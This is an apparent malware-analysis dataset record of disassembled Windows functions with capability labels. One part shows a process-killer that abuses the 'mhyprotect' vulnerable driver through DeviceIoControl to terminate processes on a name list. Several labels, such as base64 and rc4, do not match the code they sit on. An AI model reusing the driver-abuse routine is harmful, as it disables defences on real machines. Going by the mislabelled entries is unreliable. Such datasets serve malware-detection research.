joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400022e0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x14013d040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x1400023b3
cmp byte [rcx + 0x71], 0
je 0x1400023b3
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x1400023af
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140002374
sub eax, 1
je 0x140002378
cmp eax, 2
jne 0x1400023af
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400059b0
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x1400023a6
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x1400023af
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000235c
xor al, al
jmp 0x14000235c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400059b0
add rsp, 0x60
pop rbx
ret

Function at 0x140002790
Capabilities:
Delete service
Stop service

Disassembly:
sub rsp, 0x58
mov rax, qword [0x14013d040]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor edx, edx
mov qword [rsp + 0x60], rbx
xor ecx, ecx
lea r8d, [rdx + 2]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rbx, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140002833
mov r8d, 0x10020
mov qword [rsp + 0x50], rdi
lea rdx, str.mhyprotect
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rdi, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140002825
xor eax, eax
lea r8, [rsp + 0x20]
xorps xmm0, xmm0
mov qword [rsp + 0x30], rax
mov rcx, rdi
mov dword [rsp + 0x38], eax
movups xmmword [rsp + 0x20], xmm0
lea edx, [rax + 1]
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x14000281c
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_DeleteService]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rdi, qword [rsp + 0x50]
call fcn.140003cd0
mov rbx, qword [rsp + 0x60]
test al, al
jne 0x140002864
lea rcx, str.____failed_to_initialize_vulnerable_driver_n
call fcn.140002730
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400059b0
add rsp, 0x58
ret
call fcn.1400042c0
test al, al
jne 0x140002895
lea rcx, str.____failed_to_initialize_driver_properly_n
call fcn.140002730
call fcn.1400041e0
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400059b0
add rsp, 0x58
ret
call fcn.140002920
call fcn.1400041e0
xor eax, eax
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400059b0
add rsp, 0x58
ret
Function at 0x140002920
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x4d0
mov rax, qword [0x14013d040]
xor rax, rsp
mov qword [rsp + 0x4b0], rax
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x140002b27
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140002b1e
mov qword [rsp + 0x4e0], rbx
mov qword [rsp + 0x4e8], rsi
mov qword [rsp + 0x4f0], rdi
mov qword [rsp + 0x4c8], r14
xor r14d, r14d
mov qword [rsp + 0x4c0], r15
lea r15, str.activeconsole
lea r8, [rsp + 0x8c]
mov edx, 0x104
lea rcx, [rsp + 0x2a0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
lea rcx, [rsp + 0x2a0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsdup]
mov rsi, rax
mov rbx, r14
movzx eax, word [rax]
test ax, ax
je 0x1400029fd
mov rdi, rsi
nop dword [rax]
movzx ecx, ax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_towlower]
mov word [rdi], ax
lea rbx, [rbx + 1]
movzx eax, word [rsi + rbx*2]
lea rdi, [rsi + rbx*2]
test ax, ax
jne 0x1400029e0
mov ebx, r14d
mov rdi, r15
mov rdx, qword [rdi]
mov rcx, rsi
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
jne 0x140002a2d
inc ebx
add rdi, 8
cmp ebx, 0x62
jb 0x140002a03
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140002ae0
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, dword [rsp + 0x68]
lea rcx, [rsp + 0x48]
mov dword [rsp + 0x50], eax
call fcn.140004550
mov edx, 0x10
lea ecx, [rdx - 0xf]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov rbx, rax
test rax, rax
je 0x140002acc
mov rcx, qword [0x14013e490]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x38], r14
lea r8, [rsp + 0x48]
mov qword [rsp + 0x30], rax
mov r9d, 0x10
mov dword [rsp + 0x28], 0x10
mov edx, 0x81034000
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov ecx, dword [rsp + 0x40]
mov edi, eax
test ecx, ecx
je 0x140002ab1
mov r8d, ecx
mov rdx, rbx
lea rcx, [rsp + 0x48]
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
test edi, edi
je 0x140002acc
lea rcx, str.Killed_process:__s__n
cmp qword [rsp + 0x48], r14
jne 0x140002ad3
lea rcx, str.Failed_to_kill:__s_n
lea rdx, [rsp + 0x8c]
call fcn.1400028c0
lea rdx, [rsp + 0x60]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400029a3
mov r15, qword [rsp + 0x4c0]
mov r14, qword [rsp + 0x4c8]
mov rdi, qword [rsp + 0x4f0]
mov rsi, qword [rsp + 0x4e8]
mov rbx, qword [rsp + 0x4e0]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x4b0]
xor rcx, rsp
call fcn.1400059b0
add rsp, 0x4d0
pop rbp
ret
Function at 0x1400041e0
Capabilities:
Delete service
Stop service

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x14013d040]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rcx, qword [0x14013e490]
test rcx, rcx
je 0x140004207
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [0x14013e498]
test rbx, rbx
je 0x1400042ab
xor edx, edx
mov qword [rsp + 0x60], rdi
xor ecx, ecx
lea r8d, [rdx + 2]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rdi, rax
lea rdx, [rax - 1]
cmp rdx, 0xfffffffffffffffd
ja 0x140004253
lea r8, [rsp + 0x28]
mov edx, 1
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_ControlService]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rdi, qword [0x14013e498]
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 2]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rbx, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x1400042a6
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x140004294
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x430
jne 0x140004294
mov rcx, rbx
jmp 0x1400042a0
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rdi, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400059b0
add rsp, 0x50
pop rbx
ret

Function at 0x140004550
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
xor r10d, r10d
lea rbx, [0x14013dad0]
mov r11, rcx
movabs rdi, 0x22aaaa8a20000
movabs rsi, 0x71d67fffeda60000
movabs rbp, 0x555555555
lea r9d, [r10 + 1]
nop dword [rax]
nop word [rax + rax]
lea eax, [r9 - 1]
mov rcx, qword [rbx + rax*8]
mov r8, rcx
mov rax, rcx
shl rax, 0x11
shr r8, 0xc
and r8, rdi
xor r8, rax
mov rax, rcx
shr rax, 0x1d
and r8, rsi
and rax, rbp
xor r8, rax
mov eax, r9d
xor r8, rcx
lea rdx, [r11 + rax*8]
mov rcx, r8
mov rax, r8
shr rax, 0x25
and ecx, 0x7ffbf40
xor rcx, rax
inc r9d
shr rcx, 6
mov rax, r8
and rax, 0xffffffffffffbf77
shl rax, 0x25
xor rcx, rax
mov rax, qword [r11]
add rax, r10
add r10, 0x10
xor rcx, rax
xor rcx, qword [rdx]
xor rcx, r8
mov qword [rdx], rcx
cmp r9d, 2
jb 0x1400045a0
mov rbx, qword [rsp + 8]
mov rbp, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
ret
Function at 0x140005444
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x14000547e
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x140005483
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400054cc
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x140007540]
cmp byte [rcx + rax], 0
je 0x1400054cc
dec r8
sub rdx, 1
jne 0x1400054b2
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x1400063a4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400063ee
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400063ee
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400063ee
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400063ee
cmp dword [rcx + 0x84], 0xe
jbe 0x1400063ee
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400063f0
xor al, al
add rsp, 0x28
ret
Function at 0x141ae2058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.141ae21df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x141ae2089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141ae206f
add dl, dl
jne 0x141ae2096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141ae20f6
xor eax, eax
add dl, dl
jne 0x141ae20a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141ae21ad
add dl, dl
jne 0x141ae20b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141ae20c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141ae20d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141ae20dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x141ae20ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x141ae207e
mov eax, 1
add dl, dl
jne 0x141ae2106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141ae2113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141ae20fb
sub eax, ebx
mov ebx, 1
jne 0x141ae214c
mov ecx, 1
add dl, dl
jne 0x141ae212e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141ae213b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141ae2123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141ae207e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141ae2168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141ae2175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141ae215d
cmp eax, 0x7d00
jae 0x141ae219b
cmp eax, 0x500
jb 0x141ae2196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141ae207e
cmp eax, 0x7f
ja 0x141ae219e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141ae207e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x141ae21d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x141ae207e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14001f4d0
Capabilities:
Encode data using base64

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
cmp rdx, 1
je 0x14001f503
mov rdi, rdx
lea rax, [rdx - 1]
test rdx, rax
jne 0x14001f50a
mov rbx, qword [rsi + 8]
cmp rdi, rbx
ja 0x14001f600
jb 0x14001f517
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
mov edi, 2
jmp 0x14001f4ec
mov rcx, rdi
call fcn.14005c570
mov rdi, rax
jmp 0x14001f4ec
mov rax, qword [rsi + 0x18]
test rax, rax
js 0x14001f527
cvtsi2ss xmm0, rax
jmp 0x14001f53c
mov rcx, rax
shr rcx, 1
and eax, 1
or rax, rcx
cvtsi2ss xmm0, rax
addss xmm0, xmm0
divss xmm0, dword [rsi + 0x20]
call fcn.1400ad990
cvttss2si rcx, xmm0
mov rdx, rcx
subss xmm0, dword [0x1400f9de0]
cvttss2si rax, xmm0
sar rdx, 0x3f
and rax, rdx
or rax, rcx
cmp rbx, 3
jb 0x14001f5e8
mov rcx, rbx
shr rcx, 1
movabs r8, 0x5555555555555555
and r8, rcx
mov rdx, rbx
sub rdx, r8
movabs r8, 0x3333333333333333
mov rcx, rdx
shr rcx, 2
and rdx, r8
and rcx, r8
add rcx, rdx
mov rdx, rcx
shr rdx, 4
add rdx, rcx
movabs rcx, 0xf0f0f0f0f0f0f0f
and rcx, rdx
movabs rdx, 0x101010101010101
imul rdx, rcx
shr rdx, 0x38
cmp edx, 1
ja 0x14001f5e8
cmp rax, 2
jb 0x14001f5f0
dec rax
bsr rcx, rax
xor ecx, 0x3f
neg cl
mov eax, 1
shl rax, cl
jmp 0x14001f5f0
mov rcx, rax
call fcn.14005c570
cmp rdi, rax
cmovb rdi, rax
cmp rdi, rbx
jae 0x14001f4fb
mov rcx, rsi
mov rdx, rdi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp 0x1400b1500
Function at 0x140021200
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov qword [rbp], 0xfffffffffffffffe
mov rdi, r8
mov rsi, rdx
mov bl, byte [rbp + 0x68]
test byte [r9 + 8], 1
jne 0x14002125a
mov dl, byte [rbp + 0x60]
movzx ebx, bl
mov rax, qword [rcx]
mov rax, qword [rax + 0x30]
mov dword [rsp + 0x28], ebx
mov byte [rsp + 0x20], dl
mov rdx, rsi
mov r8, rdi
call qword [0x140131010]
mov rax, rsi
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
lea r14, [rbp - 0x20]
mov rcx, r9
mov rdx, r14
call fcn.14005ce00
lea rdx, [0x140120b18]
mov rcx, r14
call fcn.14005d610
mov r14, rax
mov rcx, qword [rbp - 0x20]
mov eax, 0xffffffff
lock xadd dword [rcx + 8], eax
test eax, eax
jne 0x14002129a
mov rax, qword [rcx]
mov rax, qword [rax + 8]
call qword [0x140131010]
movabs rax, 0xaaaaaaaaaaaaaaaa
lea r15, [rbp - 0x20]
mov qword [r15 + 0x10], rax
movaps xmm0, xmmword [0x1400f69f0]
movaps xmmword [r15], xmm0
mov rax, qword [r14]
xor bl, 1
movzx ecx, bl
mov rax, qword [rax + rcx*8 + 0x28]
mov rcx, r14
mov rdx, r15
call qword [0x140131010]
movzx r9d, byte [r15 + 0x17]
test r9b, r9b
mov rcx, qword [r15]
mov r8, qword [r15 + 8]
mov rax, r9
cmovs rax, r8
test rax, rax
je 0x140021361
test r9b, r9b
mov rbx, r15
cmovs rbx, rcx
test rdi, rdi
je 0x140021346
mov al, byte [rbx]
movzx eax, al
mov rcx, qword [rdi + 0x30]
cmp rcx, qword [rdi + 0x38]
je 0x14002134a
lea rdx, [rcx + 1]
mov qword [rdi + 0x30], rdx
mov byte [rcx], al
cmp eax, 0xffffffff
jne 0x14002131b
xor edi, edi
mov r9b, byte [rbp - 9]
mov rcx, qword [rbp - 0x20]
mov r8, qword [rbp - 0x18]
inc rbx
test r9b, r9b
mov rax, r15
cmovs rax, rcx
movzx edx, r9b
cmovs rdx, r8
add rdx, rax
cmp rbx, rdx
jne 0x1400212f6
jmp 0x140021361
xor edi, edi
jmp 0x140021327
mov rcx, qword [rdi]
mov r8, qword [rcx + 0x60]
mov rcx, rdi
mov edx, eax
mov rax, r8
call qword [0x140131010]
jmp 0x140021314
shr r9b, 7
mov qword [rsi], rdi
test r9b, r9b
je 0x14002124a
call fcn.140081674
jmp 0x14002124a

Function at 0x140029d40
Capabilities:
Accept command line arguments

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x50
movaps xmmword [rsp + 0x40], xmm6
mov rax, qword [0x140113018]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rdi, qword [0x140121848]
test rdi, rdi
jne 0x140029de3
mov ecx, 0x48
call fcn.140081638
mov rsi, rax
xorps xmm6, xmm6
movups xmmword [rax], xmm6
mov ecx, 0x18
call fcn.140081638
mov qword [rsi + 0x10], rax
lea rcx, [rax + 0x18]
mov qword [rsi + 0x20], rcx
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov qword [rsi + 0x18], rcx
lea rax, [rsi + 0x30]
movups xmmword [rsi + 0x30], xmm6
mov qword [rsi + 0x28], rax
mov qword [rsi + 0x40], 1
mov qword [0x140121848], rsi
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x28], rax
test rax, rax
je 0x140029e05
mov rcx, rax
call fcn.14009afb0
lea rdx, [rsp + 0x28]
mov qword [rdx + 8], rax
mov rcx, rsi
call fcn.140029e10
test rdi, rdi
sete bl
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140081fe0
mov eax, ebx
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
int3
Function at 0x140029e10
Capabilities:
Accept command line arguments

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x88
movaps xmmword [rsp + 0x70], xmm6
mov rsi, rdx
mov rbx, rcx
mov rax, qword [0x140113018]
xor rax, rsp
mov qword [rsp + 0x68], rax
movups xmm0, xmmword [rdx]
lea rdx, [rsp + 0x50]
movaps xmmword [rdx], xmm0
lea rdi, [rsp + 0x30]
mov rcx, rdi
mov r8d, 3
call fcn.1400366b0
movups xmm0, xmmword [rdi]
movups xmmword [rsi], xmm0
cmp qword [rsi + 8], 0
je 0x14002a028
movups xmm0, xmmword [rsi]
movups xmmword [rbx], xmm0
mov dword [rsp + 0x4c], 0
lea rcx, str.api_ms_win_downlevel_shell32_l1_1_0.dll
xor edx, edx
mov r8d, 0x800
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
test rax, rax
mov qword [rsp + 0x20], rax
je 0x14002a05e
lea rdx, [0x1400fc1ce]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14002a071
mov rcx, qword [rsi]
lea rdx, [rsp + 0x4c]
call qword [0x140131010]
mov r12, rax
movsxd rbp, dword [rsp + 0x4c]
xorps xmm6, xmm6
movaps xmmword [rsp + 0x30], xmm6
mov qword [rsp + 0x40], 0
test rbp, rbp
mov qword [rsp + 0x28], rbx
je 0x14002a079
test ebp, ebp
js 0x14002a080
shl rbp, 3
lea rsi, [rbp*2]
add rsi, rbp
mov rcx, rsi
call fcn.140081638
mov rbx, rax
mov qword [rsp + 0x30], rax
add rax, rsi
mov qword [rsp + 0x40], rax
xor r15d, r15d
mov rsi, qword [r12 + r15]
mov rcx, rsi
call fcn.14009afb0
mov rdi, rax
movabs rax, 0x7fffffffffffffef
cmp rdi, rax
ja 0x14002a04e
cmp rdi, 0xb
jae 0x140029f69
mov byte [rbx + 0x17], dil
test rdi, rdi
je 0x140029f64
cmp rdi, 3
jne 0x14002a056
movzx eax, word [rsi + 4]
mov word [rbx + 4], ax
mov eax, dword [rsi]
mov dword [rbx], eax
mov r13, rbx
jmp 0x140029faa
lea r14, [rdi + 8]
and r14, 0xfffffffffffffff8
lea rcx, [r14 + r14]
call fcn.140081638
mov r13, rax
mov qword [rbx], rax
movabs rax, 0x7fffffffffffffef
add rax, 0x11
or rax, r14
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], rdi
mov r8, rdi
add r8, rdi
mov rcx, r13
mov rdx, rsi
call fcn.140084900
mov word [r13 + rdi*2], 0
add rbx, 0x18
add r15, 8
cmp rbp, r15
jne 0x140029f1d
mov qword [rsp + 0x38], rbx
lea rdx, [rsp + 0x30]
mov rsi, qword [rsp + 0x28]
mov rcx, rsi
call fcn.140029b90
movups xmmword [rsi], xmm6
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x20]
test rcx, rcx
je 0x140029ff6
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rsi, qword [rsp + 0x30]
test rsi, rsi
je 0x14002a028
cmp rbx, rsi
je 0x14002a020
lea rdi, [rbx - 0x18]
cmp byte [rbx - 1], 0
jns 0x14002a018
mov rcx, qword [rbx - 0x18]
call fcn.140081674
mov rbx, rdi
cmp rdi, rsi
jne 0x14002a005
mov rcx, rsi
call fcn.140081674
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.140081fe0
movaps xmm6, xmmword [rsp + 0x70]
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, rbx
call fcn.1400c7800
mov r13, rbx
jmp 0x140029f99
mov rcx, qword [rsi]
lea rdx, [rsp + 0x4c]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
jmp 0x140029ec4
xor r12d, r12d
jmp 0x140029ec7
xor ebx, ebx
jmp 0x140029fc8
lea rcx, [rsp + 0x30]
call fcn.1400ae4b0
int3
Function at 0x14002b090
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x98
movaps xmmword [rsp + 0x80], xmm6
mov rax, qword [0x140113018]
xor rax, rsp
mov qword [rsp + 0x78], rax
movzx eax, byte [0x140121858]
and eax, 1
neg rax
cmp rax, 0xfffffffffffffffd
je 0x14002b237
mov qword [rsp + 0x40], rdx
mov rbx, qword [rcx]
mov qword [rsp + 0x38], rcx
mov rdi, qword [rcx + 8]
xor r13d, r13d
lea r12, [0x1400fc140]
movabs rcx, 0xaaaaaaaaaaaaaaaa
movaps xmm6, xmmword [0x1400f69f0]
lea rsi, [rsp + 0x60]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x48], rbx
mov rbx, qword [rsp + 0x48]
mov rax, r13
shl rax, 4
mov qword [rsp + 0x70], rcx
movaps xmmword [rsp + 0x60], xmm6
mov rdx, qword [rax + r12]
mov rbp, qword [rax + r12 + 8]
mov byte [rsp + 0x77], bpl
mov r8, rbp
add r8, rbp
mov r15, rsi
mov rcx, rsi
call fcn.140084900
mov word [rsp + rbp*2 + 0x60], 0
movzx eax, byte [rsp + 0x77]
mov rcx, rax
test al, al
jns 0x14002b159
mov rcx, qword [rsp + 0x68]
cmp rdi, rcx
jb 0x14002b291
mov r14b, 1
test rcx, rcx
mov rsi, r15
je 0x14002b29c
mov rdx, rsi
test al, al
jns 0x14002b17d
mov rdx, qword [rsp + 0x60]
xor ebp, ebp
movzx edi, word [rbx + rbp*2]
cmp di, word [rdx + rbp*2]
jne 0x14002b1ce
inc rbp
cmp rcx, rbp
jne 0x14002b17f
mov rbp, rcx
test al, al
js 0x14002b2a3
test r14b, r14b
jne 0x14002b1d8
mov qword [rsp + 0x28], rbp
inc r13
movzx eax, byte [0x140121858]
xor rax, 3
cmp r13, rax
mov rdi, qword [rsp + 0x30]
movabs rcx, 0xaaaaaaaaaaaaaaaa
jb 0x14002b111
jmp 0x14002b237
xor r14d, r14d
mov rbp, qword [rsp + 0x28]
jmp 0x14002b194
test rbp, rbp
je 0x14002b237
mov rsi, qword [rsp + 0x38]
cmp rbp, qword [rsi + 8]
mov rdi, qword [rsp + 0x40]
je 0x14002b237
lea rax, [0x1400fc170]
lea rdx, [rsp + 0x60]
mov qword [rdx], rax
mov qword [rdx + 8], 1
movups xmm0, xmmword [rsi]
lea rcx, [rsp + 0x50]
movaps xmmword [rcx], xmm0
xor r8d, r8d
call fcn.140065ff0
mov rdx, qword [rsi + 8]
sub rdx, rbp
jb 0x14002b2b5
sub rax, rbp
mov rcx, qword [rdi + 8]
cmp rdx, rax
cmovb rax, rdx
cmp rax, rcx
je 0x14002b264
xor ebx, ebx
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140081fe0
mov eax, ebx
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov bl, 1
test rcx, rcx
je 0x14002b239
mov rax, qword [rdi]
add rbp, rbp
add rbp, qword [rsi]
xor edx, edx
mov rdi, rbp
movzx ebp, word [rbp + rdx*2]
cmp bp, word [rax + rdx*2]
jne 0x14002b237
inc rdx
cmp rcx, rdx
mov rbp, rdi
jne 0x14002b276
jmp 0x14002b239
xor r14d, r14d
mov rsi, r15
jmp 0x14002b1d1
xor ebp, ebp
jmp 0x14002b194
mov rcx, qword [rsp + 0x60]
call fcn.140081674
mov rsi, r15
jmp 0x14002b19c
int3